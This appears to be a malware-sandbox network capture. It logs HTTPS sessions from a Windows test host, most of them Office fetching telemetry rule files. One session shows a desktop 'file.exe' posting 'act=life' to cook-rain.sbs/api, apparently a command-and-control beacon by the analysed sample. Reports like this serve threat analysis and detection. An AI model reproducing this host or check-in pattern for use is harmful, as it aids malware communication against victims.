Nov 22, 2024 01:02:46.131908894 CET	1236	IN	Data Raw: 63 0d 55 18 73 db 30 aa c7 f0 2a ba 00 16 39 7a 36 4b 1b 99 a9 f6 8b 8f 1b c5 e1 3e ac d4 ca fa cb 8c 10 a0 9c 12 a7 9a 50 4a 77 aa 14 47 58 66 61 14 52 64 51 42 9c 8c 5c 5f 47 da fa 40 43 c2 06 7b 74 60 77 7d 52 0b 24 a4 42 bf dc 77 5c e5 0a 94 Data Ascii: cUs0*9z6K>PJwGXfaRdQB\_G@C{t`w}R$Bw\l:EWE{XZnYG_hJ4Fp{Pr@.y&uNDVgxXHanxc1E{Tdi]0yPVZ}A\|_'\}`WT,A]MM6gczVwM_'-NkCQ{?=
Nov 22, 2024 01:02:46.131942034 CET	1236	IN	Data Raw: c7 ad f5 a0 79 65 7b 29 20 6d 47 a4 f2 16 19 b9 30 c0 11 d0 5e 05 41 db 20 6d 01 ba c2 25 05 dd cf 56 c3 58 5e 58 3d da 20 39 7d e8 f2 01 2d ae 0c fc 27 e4 26 65 d9 81 f0 64 e1 04 79 d9 48 52 5e c5 69 db e0 74 c1 08 e8 9d f9 fc d0 66 f1 1a bb 7d Data Ascii: ye{) mG0^A m%VX^X= 9}-'&edyHR^itf}XAPkXm0Th2THpT@ m%o`adyHqZ}@YmTVTpnkMXfQu"S/ymu^A[2E@u_mUq@}rKPu
Nov 22, 2024 01:02:46.251132011 CET	1236	IN	Data Raw: 13 20 8d da 6b a1 4a 2f 6d 56 7f e8 2e 48 11 71 7a 33 0a f9 0d bd 20 7e 04 60 0b eb 6c dc 1f 9f d1 32 a0 8d 40 77 00 41 10 45 21 ca 7e 26 cc fc 50 55 db fc 01 36 2d 05 e8 48 29 a9 52 32 31 d3 6f 8f e1 db e6 e8 64 0c a3 a3 e7 3a 76 79 41 8a 16 8a Data Ascii: kJ/mV.Hqz3 ~`l2@wAE!~&PU6-H)R21od:vyAKBbK'7PSGZ!qX2HuZgoH`Ob!$OXOg2MvG`X2VI~W"b&'HQ{Sn8Riy5Q6

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:19 UTC	492	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: cb7fa3cf-001e-000b-073d-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000219Z-15b8b599d882hxlwhC1TEBfa5w00000000n0000000003tu5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:19 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-22 00:02:19 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-22 00:02:19 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-22 00:02:19 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-22 00:02:20 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-22 00:02:20 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-22 00:02:20 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-22 00:02:20 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-22 00:02:20 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-22 00:02:20 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49705	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:21 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-22 00:02:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-22 00:02:22 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=to7s06ggnd7gmna0hk8m4t00co; expires=Mon, 17-Mar-2025 17:49:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SO5DMG9FtglwCGCSLe8SMBaOtHB93Kyh1HpjSPF%2FQrPTKV0u75lNj9%2BSj1wUXVmqmpDNKfU1IgI%2B3%2Fd2%2FgY43b7ceNHZtQAsTGWwkeFXk7Zp15j%2B%2B8P%2BB0Smx0B%2BeH%2FQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a676ffd4430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4200&recv_bytes=904&delivery_rate=205778&cwnd=178&unsent_bytes=0&cid=941ed286280a3702&ts=792&x=0"
2024-11-22 00:02:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-22 00:02:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:22 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d4aa3518-701e-0098-625d-3c395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000222Z-15b8b599d882zv28hC1TEBdchn00000000eg000000005pv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000222Z-174c587ffdfb5q56hC1TEB04kg00000000f000000000a03x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000222Z-178bfbc474bscnbchC1NYCe7eg000000029000000000m001 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:22 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000222Z-174c587ffdf6b487hC1TEBydsn00000000gg00000000byy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" 